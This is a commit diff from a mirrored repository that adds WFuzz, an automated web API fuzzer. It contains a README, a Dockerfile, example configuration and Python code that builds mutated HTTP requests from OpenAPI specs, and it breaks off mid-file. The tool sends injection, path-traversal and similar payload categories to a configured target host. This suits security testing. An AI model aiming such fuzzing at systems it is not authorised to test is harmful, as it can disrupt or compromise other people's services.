mirror of
https://github.com/ysoftdevs/wapifuzz.git
synced 2026-01-11 14:20:27 +01:00
Init WFuzz state
This commit is contained in:
21
.gitignore
vendored
Normal file
21
.gitignore
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
# Folders for IDE caching and settings
|
||||
.idea/
|
||||
.vscode/
|
||||
|
||||
# Default folder for boofuzz db logging
|
||||
boofuzz-results/
|
||||
|
||||
# Python enviromental and other files
|
||||
env/
|
||||
__pycache__
|
||||
*.pyc
|
||||
|
||||
# Fuzzer outputs
|
||||
*.junit.xml
|
||||
*.log
|
||||
*.html
|
||||
|
||||
# Files for internal debug
|
||||
Makefile
|
||||
config.json
|
||||
payloads.txt
|
||||
25
Dockerfile
Normal file
25
Dockerfile
Normal file
@@ -0,0 +1,25 @@
|
||||
# We need .NET Core image for running parser
|
||||
FROM mcr.microsoft.com/dotnet/core/sdk:2.1
|
||||
|
||||
# Expose port for process monitor
|
||||
EXPOSE 26002/tcp
|
||||
EXPOSE 26002/udp
|
||||
|
||||
# Build Python 3.7.3, needed for fuzzer + OpenJDK installation for reporter
|
||||
RUN apt update && apt install --yes build-essential checkinstall libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev zlib1g-dev openjdk-8-jre ; rm -rf /var/lib/apt/lists/*
|
||||
ADD https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz /usr/src/
|
||||
RUN cd /usr/src ; tar xzf Python-3.7.3.tgz ; cd Python-3.7.3 ; ./configure --enable-optimizations ; make altinstall ; ln -s /usr/local/bin/python3.7 /usr/local/bin/python3 ; ln -s /usr/local/bin/pip3.7 /usr/local/bin/pip3
|
||||
|
||||
# Copy wfuzz components into docker
|
||||
COPY fuzzer /usr/local/fuzzer/fuzzer
|
||||
COPY parser /usr/local/fuzzer/parser
|
||||
COPY reporter /usr/local/fuzzer/reporter
|
||||
|
||||
# And finally, copy the run script
|
||||
COPY run.sh /usr/local/bin/
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /usr/local/fuzzer/
|
||||
|
||||
# Set run script as an entry point of the container
|
||||
ENTRYPOINT ["run.sh"]
|
||||
98
README.md
Normal file
98
README.md
Normal file
@@ -0,0 +1,98 @@
|
||||
# WFuzz - fully autonomous web APIs fuzzer
|
||||
Fuzzing is popular testing technique for various error types detection. There are many fuzzing engines and fuzzers, which can help you with fuzzing itself. But there is currently no tool which can fully automate fuzzing just by providing API specification.
|
||||
|
||||
And that is why WFuzz was created. We believe that web API documentation is all that fuzzer needs to do his job. WFuzz can be easily deployed to almost any continuous integration (CI) service. It provides rich test reports to JUnit XML format.
|
||||
|
||||
## What does the WFuzz test?
|
||||
Current version of WFuzz tests following parts of HTTP request to your API:
|
||||
- HTTP header
|
||||
- URI attributes of all documented requests
|
||||
- JSON body primitive types of all documented HTTP body examples
|
||||
|
||||
## What types of vulnerabilities does WFuzz testing?
|
||||
- Numeric strings (overflows, reserved words, ...)
|
||||
- Command injection
|
||||
- SQL injection
|
||||
- Path traversal
|
||||
- Special characters
|
||||
- Unicode sequences
|
||||
- XML / XPath attacks
|
||||
|
||||
## Requirements for your web API
|
||||
You can automatically test your web API if it meets following criteria:
|
||||
- Documented in OpenAPI 2 or OpenAPI 3
|
||||
- Consumes and produces only `application/json` or `text/plain` content
|
||||
|
||||
If you have your API documented in other documentation formats, you can try use some convertor.
|
||||
There are plenty convertors online. Some of theme are listed here: https://openapi.tools/.
|
||||
|
||||
Consuming JSON data is not mandatory requirement. If your API does not consumes JSON, WFuzz will still tests HTTP header and URI attributes processing of your server.
|
||||
|
||||
## Dependencies
|
||||
- Python 3
|
||||
- .NET Core runtime 2.1 and higher
|
||||
- JRE or Docker
|
||||
- PowerShell or Bash
|
||||
|
||||
## Usage
|
||||
The only thing you need to do is create config file. You can find template in root of repository in `config_example.json` file. You can just modify this file and then pass it's path to runner script.
|
||||
|
||||
In config file you are able to specify following options:
|
||||
- **fixed_url_attributes** -> if you want to set some attributes to static values
|
||||
- **headers** -> headers which are sent by each request (useful for AUTH token insertion)
|
||||
- **polling_interval** -> interval between checks for response (in seconds)
|
||||
- **response_timeout** -> maximum amount of time waiting for response (in seconds)
|
||||
- **reporting_interval** -> progress reporting interval (in seconds)
|
||||
- **http_fuzzing** -> boolean value for enabling / disabling fuzzing of HTTP protocol
|
||||
- **skipping_endpoints_keywords** [list of string keywords] -> endpoints containing any keyword in it from this list will be skipped (can be used for skipping auth/logout endpoints)
|
||||
- **startup_command** -> startup command for your tested process / service, see more details in `procmon/README.md`
|
||||
- **payloads_to_json_primitives_mapping** -> mapping of payloads folders to JSON primitives (see `config_example.json` for an example)
|
||||
- **boolean** -> array of folder names with payloads which will be used for JSON boolean primitive fuzzing
|
||||
- **number** -> array of folder names with payloads which will be used for JSON number primitive fuzzing
|
||||
- **string** -> array of folder names with payloads which will be used for JSON string primitive fuzzing
|
||||
- **target** -> dictionary with following fields:
|
||||
- **hostname** -> victim hostname or IP address
|
||||
- **port** -> victim port
|
||||
- **ssl** -> boolean value, set to `true` if you want use SSL tcp connection, otherwise `false`
|
||||
|
||||
Great, WFuzz is now ready for fuzzing! Run it by following commands.
|
||||
### Windows
|
||||
Execute `run.ps1 -c config_file_path -openapi openapi_doc_file_path [-payloads custom_payloads_file_path]` script in PowerShell.
|
||||
|
||||
### Unix
|
||||
Execute `run.sh config_file_path openapi_doc_file_path [custom_payloads_file_path]` command from Bash.
|
||||
|
||||
### Docker
|
||||
Firstly, you need to build your image, so go into root of WFuzz repository and simply execute:
|
||||
|
||||
`docker build . -t wfuzz:v1`
|
||||
|
||||
Then, you need to run container. Since now, you do not have to be in fuzzer directory, you can run container from any working directory you want. You can do it like this:
|
||||
|
||||
`docker run -p {host_port}:{container_port} -v $(pwd):/usr/local/fuzzer/mnt/ wfuzz:v1 mnt/config.json mnt/sqta.yaml [mnt/custom_payloads.txt]`
|
||||
|
||||
where files `config.json`, `sqta.yaml` and `custom_payloads` needs to be stored in the working directory.
|
||||
With parameter `-p` you also need to bind port number, which is used for communication with your web API, to the container.
|
||||
So for example, if your API listen on the port 80, you can simply do `-p 80:80`.
|
||||
|
||||
#### Custom payloads file
|
||||
As you can see in run script parameters, you may even specify your own payloads! Just create text file with your own testing strings (one on each line) and pass path to this file via run script parameters!
|
||||
|
||||
|
||||
## Where I can find test reports?
|
||||
After WFuzz finish, three main report files are generated. If you are using docker image just the way that is described above, you simply find these three files in your working directory.
|
||||
If you are running WFuzz by run scripts, you can find these files in the following paths:
|
||||
|
||||
- JUnit File: `./reporter/results.junit.xml`
|
||||
- HTML report: `./reporter/reports.html`
|
||||
- Full text log: `./fuzzing.log`
|
||||
|
||||
### JUnit report
|
||||
The first is the JUnit file (`./reporter/results.junit.xml`), which contains full test report and contains logs for failed tests. Almost every CI system provides a way how to present JUnit test reports in some human friendly way.
|
||||
|
||||
### HTML report
|
||||
WFuzz also generates nicely formatted HTML test report, stored at `./reporter/reports.html`.
|
||||
|
||||
### Additional text logs
|
||||
WFuzz informs you about overall progress at standard output. If you want complete tests logs even
|
||||
for successfully finished test cases you can find it in log file (`./fuzzing.log`).
|
||||
9
clean.sh
Normal file
9
clean.sh
Normal file
@@ -0,0 +1,9 @@
|
||||
API_REQUESTS_JSON=./parser/api.json
|
||||
JUNIT_TEST_REPORT=./reporter/reports.junit.xml
|
||||
HTML_TEST_REPORT=./reporter/reports.html
|
||||
FUZZER_LOG=fuzzing.log
|
||||
|
||||
rm ${API_REQUESTS_JSON} ${FUZZER_LOG} ${JUNIT_TEST_REPORT} ${HTML_TEST_REPORT}
|
||||
rm -rf ./fuzzer/boofuzz-results/
|
||||
rm -rf ./boofuzz-results/
|
||||
rm -rf ./env/
|
||||
26
config_example.json
Normal file
26
config_example.json
Normal file
@@ -0,0 +1,26 @@
|
||||
{
|
||||
"fixed_url_attributes": {
|
||||
"attributeName": "attributeValue"
|
||||
},
|
||||
"headers": {
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json",
|
||||
"*token": ""
|
||||
},
|
||||
"reporting_interval": 60,
|
||||
"http_fuzzing": true,
|
||||
"skipping_endpoints_keywords": ["logout", "auth"],
|
||||
"polling_interval": 0.005,
|
||||
"response_timeout": 2,
|
||||
"startup_command": ["python", "C:\\server\\httpd.py"],
|
||||
"target": {
|
||||
"hostname": "target_hostname",
|
||||
"port": 3000,
|
||||
"ssl": false
|
||||
},
|
||||
"payloads_to_json_primitives_mapping": {
|
||||
"boolean": ["numeric", "os-command-injection", "path-traversal", "special-chars-generic", "sql-injection", "unicode", "xml"],
|
||||
"number": ["numeric"],
|
||||
"string": ["numeric", "os-command-injection", "path-traversal", "special-chars-generic", "sql-injection", "unicode", "xml"]
|
||||
}
|
||||
}
|
||||
2
custom_payloads.txt
Normal file
2
custom_payloads.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
example1
|
||||
example2
|
||||
96
fuzzer/src/blocks_generator.py
Normal file
96
fuzzer/src/blocks_generator.py
Normal file
@@ -0,0 +1,96 @@
|
||||
import json
|
||||
from typing import Union
|
||||
from boofuzz import s_initialize, s_delim, s_static, s_block_start, s_block_end
|
||||
from request_build_helper import RequestBuildHelper
|
||||
from configuration_manager import ConfigurationManager
|
||||
from fuzz_payloads import s_http_string
|
||||
from fuzzing_json_decoder import FuzzingJsonDecoder
|
||||
from encodings_helper import EncodingTypes
|
||||
|
||||
|
||||
# 1] General HTTP fuzzing
|
||||
def generate_http_fuzzed_blocks() -> str:
|
||||
request_name = "General HTTP fuzzing:"
|
||||
s_initialize(name=request_name)
|
||||
|
||||
s_http_string("GET", name="HTTP method")
|
||||
s_delim(" ", name="Delimiter between method and path")
|
||||
s_http_string("/path", encoding=EncodingTypes.ascii, name="HTTP path")
|
||||
s_delim(" ", name="Delimiter between path and version")
|
||||
s_http_string("HTTP/1.1\r\n", name="HTTP version")
|
||||
|
||||
s_static("Host: " + ConfigurationManager.config["target"]["hostname"] + "\r\n")
|
||||
|
||||
s_static("Content-Length: 0" + "\r\n")
|
||||
|
||||
s_static("User-Agent: ")
|
||||
s_http_string("WFuzz", name="User-agent")
|
||||
|
||||
s_delim("\r\n\r\n", name="HTTP headers and body delimiter")
|
||||
|
||||
return request_name
|
||||
|
||||
|
||||
# 2] URI attributes fuzzing
|
||||
def generate_url_attributes_fuzzed_blocks(endpoint, request) -> str:
|
||||
body_str = request["BodyExample"]
|
||||
body_schema = request["BodySchema"]
|
||||
is_body_json, json_decoder = _prepare_content_body(body_str, body_schema, True)
|
||||
|
||||
request_name = "URI attributes fuzzing: " + \
|
||||
RequestBuildHelper.get_request_name(endpoint["Uri"], request["Method"])
|
||||
s_initialize(name=request_name)
|
||||
|
||||
_generate_http_header(request, endpoint, fuzzable=True)
|
||||
|
||||
_generate_content_body(is_body_json, json_decoder, body_str, fuzzable=False)
|
||||
|
||||
return request_name
|
||||
|
||||
|
||||
# 3] Request body fuzzing
|
||||
def generate_body_fuzzed_blocks(endpoint, request, add_quotation_marks_into_non_string_primitives=False) -> str:
|
||||
body_str = request["BodyExample"]
|
||||
body_schema = request["BodySchema"]
|
||||
is_body_json, json_decoder = _prepare_content_body(body_str, body_schema, add_quotation_marks_into_non_string_primitives)
|
||||
|
||||
subcategory_name = " (adding quotation marks)" if add_quotation_marks_into_non_string_primitives else ''
|
||||
request_name = "Request body fuzzing" + subcategory_name + ": " + RequestBuildHelper.get_request_name(endpoint["Uri"], request["Method"])
|
||||
s_initialize(name=request_name)
|
||||
|
||||
_generate_http_header(request, endpoint, False)
|
||||
|
||||
_generate_content_body(is_body_json, json_decoder, body_str, True)
|
||||
|
||||
return request_name
|
||||
|
||||
|
||||
def _prepare_content_body(documentation_body_example, documentation_body_schema, add_quotation_marks_into_non_string_primitives):
|
||||
is_body_json = True if documentation_body_example and RequestBuildHelper.is_string_valid_json(documentation_body_example) else False
|
||||
|
||||
json_decoder: Union[FuzzingJsonDecoder, None] = FuzzingJsonDecoder(add_quotation_marks_into_non_string_primitives)
|
||||
if is_body_json:
|
||||
json_decoder.decode_dict(json.loads(documentation_body_example))
|
||||
elif documentation_body_schema:
|
||||
is_body_json = True
|
||||
json_decoder.generate_from_schema(documentation_body_schema)
|
||||
|
||||
return is_body_json, json_decoder
|
||||
|
||||
|
||||
def _generate_content_body(is_body_json, json_decoder, body_string_example, fuzzable):
|
||||
if s_block_start("body"):
|
||||
if is_body_json:
|
||||
json_decoder.generate_mutations(fuzzable=fuzzable)
|
||||
elif body_string_example:
|
||||
s_http_string(body_string_example, name="Whole HTTP body", fuzzable=fuzzable)
|
||||
s_block_end()
|
||||
|
||||
|
||||
def _generate_http_header(request, endpoint, fuzzable):
|
||||
s_static(request["Method"].upper() + " ")
|
||||
RequestBuildHelper.generate_uri(endpoint["Uri"], request["UriAttributes"], ConfigurationManager.config, fuzzable)
|
||||
s_static(" HTTP/1.1\r\n")
|
||||
RequestBuildHelper.generate_headers(ConfigurationManager.config)
|
||||
s_static("\r\n\r\n")
|
||||
|
||||
78
fuzzer/src/configuration_manager.py
Normal file
78
fuzzer/src/configuration_manager.py
Normal file
@@ -0,0 +1,78 @@
|
||||
import sys
|
||||
import json
|
||||
from typing import Union, List
|
||||
|
||||
|
||||
class ConfigurationManager:
|
||||
config = None
|
||||
|
||||
def __init__(self, config_file_pointer):
|
||||
ConfigurationManager.config = json.load(config_file_pointer)
|
||||
self._config_validation()
|
||||
|
||||
@staticmethod
|
||||
def get_startup_command():
|
||||
return ConfigurationManager.config["startup_command"] if "startup_command" in ConfigurationManager.config else None
|
||||
|
||||
@staticmethod
|
||||
def get_payloads_folders_for_boolean_json_primitive() -> Union[List, None]:
|
||||
return ConfigurationManager._get_payloads_folders_for_specific_json_primitive("boolean")
|
||||
|
||||
@staticmethod
|
||||
def get_payloads_folders_for_number_json_primitive() -> Union[List, None]:
|
||||
return ConfigurationManager._get_payloads_folders_for_specific_json_primitive("number")
|
||||
|
||||
@staticmethod
|
||||
def get_payloads_folders_for_string_json_primitive() -> Union[List, None]:
|
||||
return ConfigurationManager._get_payloads_folders_for_specific_json_primitive("string")
|
||||
|
||||
@staticmethod
|
||||
def _get_payloads_folders_for_specific_json_primitive(json_type: str) -> Union[List, None]:
|
||||
mapping = ConfigurationManager._get_payloads_to_json_primitives_mapping()
|
||||
if mapping:
|
||||
return mapping[json_type] if json_type in mapping else None
|
||||
else:
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def _get_payloads_to_json_primitives_mapping():
|
||||
return ConfigurationManager.config["payloads_to_json_primitives_mapping"] if "payloads_to_json_primitives_mapping" in ConfigurationManager.config else None
|
||||
|
||||
@staticmethod
|
||||
def get_reporting_interval():
|
||||
return ConfigurationManager.config["reporting_interval"]
|
||||
|
||||
@staticmethod
|
||||
def get_keywords_for_endpoints_skipping() -> List:
|
||||
return ConfigurationManager.config["skipping_endpoints_keywords"]
|
||||
|
||||
@staticmethod
|
||||
def get_target():
|
||||
return ConfigurationManager.config["target"]
|
||||
|
||||
@staticmethod
|
||||
def is_http_fuzzing_allowed():
|
||||
return ConfigurationManager.config["http_fuzzing"]
|
||||
|
||||
def _config_validation(self):
|
||||
reporting_interval: Union[int, float] = self.config["reporting_interval"]
|
||||
response_timeout: Union[int, float] = self.config["response_timeout"]
|
||||
polling_interval: Union[int, float] = self.config["polling_interval"]
|
||||
http_fuzzing: bool = self.config["http_fuzzing"]
|
||||
|
||||
if response_timeout <= polling_interval or polling_interval <= 0:
|
||||
print("Wrong timeout and polling interval. Timeout has to be greater than polling interval" +
|
||||
" and polling interval has to be greater than zero.")
|
||||
sys.exit(-1)
|
||||
|
||||
if reporting_interval <= 0 or reporting_interval < response_timeout:
|
||||
print("Wrong reporting interval. Should be smaller than response_timeout.")
|
||||
sys.exit(-1)
|
||||
|
||||
if "target" not in ConfigurationManager.config:
|
||||
print("Missing configuration of target.")
|
||||
sys.exit(-1)
|
||||
|
||||
if http_fuzzing is None:
|
||||
print("Missing flag for enabling / disabling HTTP fuzzing.")
|
||||
sys.exit(-1)
|
||||
51
fuzzer/src/encodings_helper.py
Normal file
51
fuzzer/src/encodings_helper.py
Normal file
@@ -0,0 +1,51 @@
|
||||
import json
|
||||
import urllib.parse
|
||||
import base64
|
||||
from enum import Enum
|
||||
from typing import Dict, List, Union
|
||||
|
||||
|
||||
class EncodingTypes(Enum):
|
||||
ascii = 1,
|
||||
utf8 = 2,
|
||||
urlencoded = 3,
|
||||
base64 = 4,
|
||||
json_string_escaping = 5
|
||||
|
||||
|
||||
class Encoder:
|
||||
@staticmethod
|
||||
def encode_string(value: Union[str, bytes], encoding_type: EncodingTypes) -> bytes:
|
||||
|
||||
# If value is already in bytes, I assume that is properly encoded
|
||||
if isinstance(value, bytes):
|
||||
return value
|
||||
|
||||
if encoding_type == EncodingTypes.ascii:
|
||||
return value.encode('ascii', 'ignore')
|
||||
elif encoding_type == EncodingTypes.utf8:
|
||||
return value.encode('utf8', 'ignore')
|
||||
elif encoding_type == EncodingTypes.urlencoded:
|
||||
return urllib.parse.quote(value)
|
||||
elif encoding_type == EncodingTypes.base64:
|
||||
return base64.b64encode(bytes(value))
|
||||
elif encoding_type == EncodingTypes.json_string_escaping:
|
||||
return json.dumps(value)[1:][:-1].encode('utf8', 'ignore')
|
||||
else:
|
||||
raise NotImplementedError
|
||||
|
||||
@staticmethod
|
||||
def encode_dict(dictionary, encoding_type: EncodingTypes) -> Union[Dict, List[Dict], bytes]:
|
||||
if isinstance(dictionary, dict):
|
||||
return {Encoder.encode_dict(key, encoding_type): Encoder.encode_dict(value, encoding_type)
|
||||
for key, value in dictionary.items()}
|
||||
elif isinstance(dictionary, list):
|
||||
return [Encoder.encode_dict(element, encoding_type) for element in dictionary]
|
||||
elif isinstance(dictionary, str):
|
||||
return Encoder.encode_string(dictionary, encoding_type)
|
||||
else:
|
||||
return dictionary
|
||||
|
||||
@staticmethod
|
||||
def get_ascii_encoded_quotation_mark():
|
||||
return Encoder.encode_string("\"", EncodingTypes.ascii)
|
||||
21
fuzzer/src/fake_socket.py
Normal file
21
fuzzer/src/fake_socket.py
Normal file
@@ -0,0 +1,21 @@
|
||||
from http.client import HTTPResponse, HTTPException
|
||||
from typing import Union
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
class FakeSocket:
|
||||
def __init__(self, response_str):
|
||||
self._file = BytesIO(response_str)
|
||||
|
||||
def makefile(self, *args, **kwargs):
|
||||
return self._file
|
||||
|
||||
|
||||
def get_response_object(data) -> Union[HTTPResponse, None]:
|
||||
try:
|
||||
source = FakeSocket(data)
|
||||
response = HTTPResponse(source)
|
||||
response.begin()
|
||||
return response
|
||||
except HTTPException:
|
||||
return None
|
||||
80
fuzzer/src/fuzz_payloads.py
Normal file
80
fuzzer/src/fuzz_payloads.py
Normal file
@@ -0,0 +1,80 @@
|
||||
from typing import List, Dict
|
||||
from boofuzz import s_group, s_static
|
||||
from encodings_helper import Encoder, EncodingTypes
|
||||
from configuration_manager import ConfigurationManager
|
||||
|
||||
|
||||
class FuzzPayloads:
|
||||
payloads: Dict[str, List[str]] = {}
|
||||
CUSTOM_PAYLOADS_KEY = "custom"
|
||||
|
||||
@staticmethod
|
||||
def add_payload_to_list(line, directory_name):
|
||||
if directory_name not in FuzzPayloads.payloads:
|
||||
FuzzPayloads.payloads[directory_name] = []
|
||||
|
||||
if line not in FuzzPayloads.payloads[directory_name]:
|
||||
FuzzPayloads.payloads[directory_name].append(line)
|
||||
|
||||
@staticmethod
|
||||
def _get_payloads_using_directory_names(directory_names: List[str]) -> List[str]:
|
||||
directory_names.append(FuzzPayloads.CUSTOM_PAYLOADS_KEY) # Always add custom payloads into any payloads set
|
||||
payloads: List[str] = []
|
||||
for directory_name in directory_names:
|
||||
if directory_name in FuzzPayloads.payloads:
|
||||
for line in FuzzPayloads.payloads[directory_name]:
|
||||
payloads.append(line)
|
||||
return list(set(payloads)) # Remove duplicities
|
||||
|
||||
@staticmethod
|
||||
def get_all_payloads():
|
||||
return FuzzPayloads._get_payloads_using_directory_names(list(FuzzPayloads.payloads.keys()))
|
||||
|
||||
@staticmethod
|
||||
def _get_specific_type_payloads(payload_folders):
|
||||
return FuzzPayloads._get_payloads_using_directory_names(payload_folders) if payload_folders else FuzzPayloads.get_all_payloads()
|
||||
|
||||
@staticmethod
|
||||
def get_string_payloads():
|
||||
payload_folders = ConfigurationManager.get_payloads_folders_for_string_json_primitive()
|
||||
return FuzzPayloads._get_specific_type_payloads(payload_folders)
|
||||
|
||||
@staticmethod
|
||||
def get_number_payloads():
|
||||
payload_folders = ConfigurationManager.get_payloads_folders_for_number_json_primitive()
|
||||
return FuzzPayloads._get_specific_type_payloads(payload_folders)
|
||||
|
||||
@staticmethod
|
||||
def get_boolean_payloads():
|
||||
payload_folders = ConfigurationManager.get_payloads_folders_for_boolean_json_primitive()
|
||||
return FuzzPayloads._get_specific_type_payloads(payload_folders)
|
||||
|
||||
|
||||
def s_http_general(value, payloads, fuzzable=True, encoding: EncodingTypes = EncodingTypes.ascii, name=None, add_quotation_marks=False):
|
||||
# Encode all payloads
|
||||
encoded_payloads: List[bytes] = []
|
||||
for payload in payloads:
|
||||
encoded = Encoder.encode_string(payload, encoding)
|
||||
if add_quotation_marks:
|
||||
encoded = Encoder.get_ascii_encoded_quotation_mark() + encoded + Encoder.get_ascii_encoded_quotation_mark()
|
||||
encoded_payloads.append(encoded)
|
||||
|
||||
# Encode default value
|
||||
default_value = Encoder.encode_string(value, encoding)
|
||||
if fuzzable:
|
||||
# noinspection PyTypeChecker
|
||||
s_group(name, encoded_payloads, default_value)
|
||||
else:
|
||||
s_static(default_value)
|
||||
|
||||
|
||||
def s_http_string(value, fuzzable=True, encoding: EncodingTypes = EncodingTypes.ascii, name=None):
|
||||
s_http_general(value, FuzzPayloads.get_string_payloads(), fuzzable, encoding, name)
|
||||
|
||||
|
||||
def s_http_number(value, fuzzable=True, encoding: EncodingTypes = EncodingTypes.ascii, name=None, add_quotation_marks=False):
|
||||
s_http_general(value, FuzzPayloads.get_number_payloads(), fuzzable, encoding, name, add_quotation_marks)
|
||||
|
||||
|
||||
def s_http_boolean(value, fuzzable=True, encoding: EncodingTypes = EncodingTypes.ascii, name=None, add_quotation_marks=False):
|
||||
s_http_general(value, FuzzPayloads.get_boolean_payloads(), fuzzable, encoding, name, add_quotation_marks)
|
||||
71
fuzzer/src/fuzzer.py
Normal file
71
fuzzer/src/fuzzer.py
Normal file
@@ -0,0 +1,71 @@
|
||||
import sys
|
||||
from typing import List
|
||||
from boofuzz import Session, Target, SocketConnection, s_get, pedrpc
|
||||
from progress_reporter import report_progress
|
||||
from configuration_manager import ConfigurationManager
|
||||
from post_test_case_callback import PostTestCaseCallback
|
||||
from blocks_generator import generate_http_fuzzed_blocks, generate_url_attributes_fuzzed_blocks, \
|
||||
generate_body_fuzzed_blocks
|
||||
|
||||
|
||||
class Fuzzer:
|
||||
def __init__(self, endpoints, loggers: List, protocol: str):
|
||||
self._endpoints = endpoints
|
||||
self._loggers = loggers
|
||||
self._protocol = protocol
|
||||
self._session = None
|
||||
|
||||
self._configure_session()
|
||||
|
||||
self._remove_endpoints_by_keywords(ConfigurationManager.get_keywords_for_endpoints_skipping())
|
||||
|
||||
if ConfigurationManager.is_http_fuzzing_allowed():
|
||||
self._generate_http_fuzzing()
|
||||
self._generate_uri_attributes_fuzzing()
|
||||
self._generate_request_body_fuzzing()
|
||||
self._generate_request_body_fuzzing(add_quotation_marks_into_non_string_primitives=True)
|
||||
|
||||
def _configure_session(self):
|
||||
target_config = ConfigurationManager.get_target()
|
||||
startup_command = ConfigurationManager.get_startup_command()
|
||||
|
||||
remote_connection = SocketConnection(target_config["hostname"], target_config["port"], proto=self._protocol)
|
||||
if startup_command:
|
||||
process_monitor = pedrpc.Client(target_config["hostname"], 26002)
|
||||
process_monitor_options = {"start_commands": [startup_command]}
|
||||
target = Target(connection=remote_connection, procmon=process_monitor, procmon_options=process_monitor_options)
|
||||
else:
|
||||
target = Target(connection=remote_connection)
|
||||
|
||||
self._session = Session(
|
||||
target=target,
|
||||
fuzz_loggers=self._loggers,
|
||||
post_test_case_callbacks=[PostTestCaseCallback.post_test_callback],
|
||||
restart_sleep_time=0,
|
||||
keep_web_open=False,
|
||||
fuzz_db_keep_only_n_pass_cases=sys.maxsize,
|
||||
crash_threshold_element=10,
|
||||
crash_threshold_request=30)
|
||||
|
||||
def _generate_http_fuzzing(self):
|
||||
self._session.connect(s_get(generate_http_fuzzed_blocks()))
|
||||
|
||||
def _generate_uri_attributes_fuzzing(self):
|
||||
for endpoint in self._endpoints:
|
||||
for request in endpoint["Requests"]:
|
||||
request_name = generate_url_attributes_fuzzed_blocks(endpoint, request)
|
||||
self._session.connect(s_get(request_name))
|
||||
|
||||
def _generate_request_body_fuzzing(self, add_quotation_marks_into_non_string_primitives=False):
|
||||
for endpoint in self._endpoints:
|
||||
for request in endpoint["Requests"]:
|
||||
request_name = generate_body_fuzzed_blocks(endpoint, request, add_quotation_marks_into_non_string_primitives)
|
||||
self._session.connect(s_get(request_name))
|
||||
|
||||
def _remove_endpoints_by_keywords(self, keywords: List[str]):
|
||||
for keyword in keywords:
|
||||
self._endpoints[:] = [endpoint for endpoint in self._endpoints if keyword not in endpoint.get('Uri')]
|
||||
|
||||
def fuzz(self):
|
||||
report_progress(self._session)
|
||||
self._session.fuzz()
|
||||
99
fuzzer/src/fuzzing_json_decoder.py
Normal file
99
fuzzer/src/fuzzing_json_decoder.py
Normal file
@@ -0,0 +1,99 @@
|
||||
import json
|
||||
from typing import Union
|
||||
from json_schema_parser import generate_json_dict_from_schema
|
||||
from fuzz_payloads import s_http_string, s_http_number, s_http_boolean
|
||||
from encodings_helper import EncodingTypes
|
||||
|
||||
|
||||
class FuzzingJsonDecoder:
|
||||
def __init__(self, add_quotation_marks_into_non_string_primitives: bool):
|
||||
self.parts: [JsonStrPart] = []
|
||||
self.add_quotation_marks_into_non_string_primitives = add_quotation_marks_into_non_string_primitives
|
||||
|
||||
def generate_from_schema(self, json_schema):
|
||||
json_dict = generate_json_dict_from_schema(json_schema)
|
||||
self.decode_dict(json_dict)
|
||||
|
||||
def decode_dict(self, json_dict):
|
||||
if json_dict is not None:
|
||||
self._decode_dict(json_dict)
|
||||
|
||||
def _decode_dict(self, json_dict, indent='', is_last=True):
|
||||
self.parts.append(JsonStrPart('{\n', fuzzable=False))
|
||||
i = 0
|
||||
for key, val in json_dict.items():
|
||||
i += 1
|
||||
is_sub_item_last = True if i == len(json_dict.items()) else False
|
||||
self.parts.append(JsonStrPart('{} "{}": '.format(indent, key), fuzzable=False))
|
||||
if isinstance(val, dict):
|
||||
self._decode_dict(val, indent + ' ', is_sub_item_last)
|
||||
elif isinstance(val, list) or isinstance(val, tuple):
|
||||
self.__decode_list(val, indent, is_sub_item_last)
|
||||
else:
|
||||
self.__parse_primitive(val, is_sub_item_last)
|
||||
|
||||
self.parts.append(JsonStrPart(indent + '}\n' if is_last else indent + '},\n', fuzzable=False))
|
||||
|
||||
def __decode_list(self, lst, indent, is_last):
|
||||
self.parts.append(JsonStrPart('[', fuzzable=False))
|
||||
i = 0
|
||||
for item in lst:
|
||||
i += 1
|
||||
is_sub_item_last = True if i == len(lst) else False
|
||||
if isinstance(item, list) or isinstance(item, tuple):
|
||||
self.__decode_list(item, indent, is_sub_item_last)
|
||||
elif isinstance(item, dict):
|
||||
self._decode_dict(item, indent, is_sub_item_last)
|
||||
else:
|
||||
self.__parse_primitive(item, is_sub_item_last, True)
|
||||
|
||||
self.parts.append(JsonStrPart(']\n' if is_last else '],\n', fuzzable=False))
|
||||
|
||||
def __parse_primitive(self, value, is_last, is_in_list=False):
|
||||
# We need to convert Python data types into JSON primitives variants (e.g. False -> false, sanitization, etc.)
|
||||
# A little "hack", convert value using built-in JSON parser into dictionary with single value and then parse value
|
||||
json_value = json.dumps({"value": value})[10:-1]
|
||||
|
||||
if type(value) == str:
|
||||
json_value = json_value[1:-1] # Remove auto-generated quotation marks
|
||||
self._add_quotation_mark()
|
||||
self.parts.append(JsonStrPart(json_value, fuzzable=True, json_primitive_type=str, encoding=EncodingTypes.json_string_escaping))
|
||||
self._add_quotation_mark()
|
||||
else:
|
||||
self.parts.append(JsonStrPart(json_value, fuzzable=True, json_primitive_type=type(value), add_quotation_marks_into_payloads=self.add_quotation_marks_into_non_string_primitives))
|
||||
|
||||
if not is_last:
|
||||
self.parts.append(JsonStrPart(', ', fuzzable=False))
|
||||
if not is_in_list:
|
||||
self.parts.append(JsonStrPart('\n', fuzzable=False))
|
||||
|
||||
def _add_quotation_mark(self):
|
||||
self.parts.append(JsonStrPart("\"", fuzzable=False))
|
||||
|
||||
def generate_mutations(self, fuzzable=True):
|
||||
sequence_generator = _unique_json_primitive_id()
|
||||
for part in self.parts:
|
||||
name = "JSON Primitive, default value: " + part.value + ", id: " + next(sequence_generator)
|
||||
|
||||
if part.json_primitive_type == int or part.json_primitive_type == float:
|
||||
s_http_number(part.value, fuzzable=fuzzable and part.fuzzable, encoding=part.encoding, name=name, add_quotation_marks=part.add_quotation_marks_into_payloads)
|
||||
elif part.json_primitive_type == bool:
|
||||
s_http_boolean(part.value, fuzzable=fuzzable and part.fuzzable, encoding=part.encoding, name=name, add_quotation_marks=part.add_quotation_marks_into_payloads)
|
||||
else:
|
||||
s_http_string(part.value, fuzzable=fuzzable and part.fuzzable, encoding=part.encoding, name=name)
|
||||
|
||||
|
||||
class JsonStrPart:
|
||||
def __init__(self, value, fuzzable=True, encoding=EncodingTypes.utf8, json_primitive_type=None, add_quotation_marks_into_payloads=False):
|
||||
self.value: str = value
|
||||
self.fuzzable: bool = fuzzable
|
||||
